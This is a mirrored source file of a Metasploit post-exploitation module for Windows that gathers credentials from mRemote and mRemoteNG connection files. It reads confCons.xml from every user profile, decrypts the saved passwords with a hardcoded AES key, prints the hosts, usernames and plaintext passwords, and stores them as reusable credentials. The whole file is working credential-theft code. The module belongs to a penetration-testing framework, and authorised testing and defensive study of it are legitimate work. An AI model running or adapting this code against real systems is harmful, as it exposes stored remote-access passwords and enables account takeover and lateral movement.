CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/mremote.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Windows::UserProfiles
11
include Msf::Auxiliary::Report
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Windows Gather mRemote Saved Password Extraction',
18
'Description' => %q{
19
This module extracts saved passwords from mRemote. mRemote stores
20
connections for RDP, VNC, SSH, Telnet, rlogin and other protocols. It saves
21
the passwords in an encrypted format. The module will extract the connection
22
info and decrypt the saved passwords.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'theLightCosine',
27
'hdm', # Helped write the Decryption Routine
28
'mubix' # Helped write the Decryption Routine
29
],
30
'Platform' => [ 'win' ],
31
'SessionTypes' => [ 'meterpreter' ]
32
)
33
)
34
end
35
36
def run
37
@secret = "\xc8\xa3\x9d\xe2\xa5\x47\x66\xa0\xda\x87\x5f\x79\xaa\xf1\xaa\x8c"
38
39
grab_user_profiles.each do |user|
40
next if user['LocalAppData'].nil?
41
42
tmpath = user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml'
43
ng_path = user['AppData'] + '\\mRemoteNG\\confCons.xml'
44
get_xml(tmpath)
45
get_xml(ng_path)
46
end
47
end
48
49
def get_xml(path)
50
print_status("Looking for #{path}")
51
begin
52
if file_exist?(path)
53
condata = read_file(path)
54
loot_path = store_loot('mremote.creds', 'text/xml', session, condata, path)
55
vprint_good("confCons.xml saved to #{loot_path}")
56
parse_xml(condata)
57
print_status("Finished processing #{path}")
58
end
59
rescue Rex::Post::Meterpreter::RequestError
60
print_status("The file #{path} either could not be read or does not exist")
61
return
62
end
63
end
64
65
def parse_xml(data)
66
mxml = REXML::Document.new(data).root
67
mxml.elements.to_a('//Node').each do |node|
68
host = node.attributes['Hostname']
69
port = node.attributes['Port']
70
proto = node.attributes['Protocol']
71
user = node.attributes['Username']
72
domain = node.attributes['Domain']
73
epassword = node.attributes['Password']
74
next if epassword.nil? || epassword == ''
75
76
decoded = epassword.unpack('m*')[0]
77
iv = decoded.slice!(0, 16)
78
pass = decrypt(decoded, @secret, iv, 'AES-128-CBC')
79
print_good("HOST: #{host} PORT: #{port} PROTOCOL: #{proto} Domain: #{domain} USER: #{user} PASS: #{pass}")
80
81
service_data = {
82
address: host,
83
port: port,
84
service_name: proto,
85
protocol: 'tcp',
86
workspace_id: myworkspace_id
87
}
88
89
credential_data = {
90
origin_type: :session,
91
session_id: session_db_id,
92
post_reference_name: refname,
93
private_type: :password,
94
private_data: pass,
95
username: user
96
}
97
98
if domain.present?
99
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
100
credential_data[:realm_value] = domain
101
end
102
103
credential_data.merge!(service_data)
104
105
# Create the Metasploit::Credential::Core object
106
credential_core = create_credential(credential_data)
107
108
# Assemble the options hash for creating the Metasploit::Credential::Login object
109
login_data = {
110
core: credential_core,
111
status: Metasploit::Model::Login::Status::UNTRIED
112
}
113
114
# Merge in the service data and create our Login
115
login_data.merge!(service_data)
116
create_credential_login(login_data)
117
end
118
end
119
120
def decrypt(encrypted_data, key, iv, cipher_type)
121
aes = OpenSSL::Cipher.new(cipher_type)
122
aes.decrypt
123
aes.key = key
124
aes.iv = iv if !iv.nil?
125
aes.update(encrypted_data) + aes.final
126
end
127
end
128
129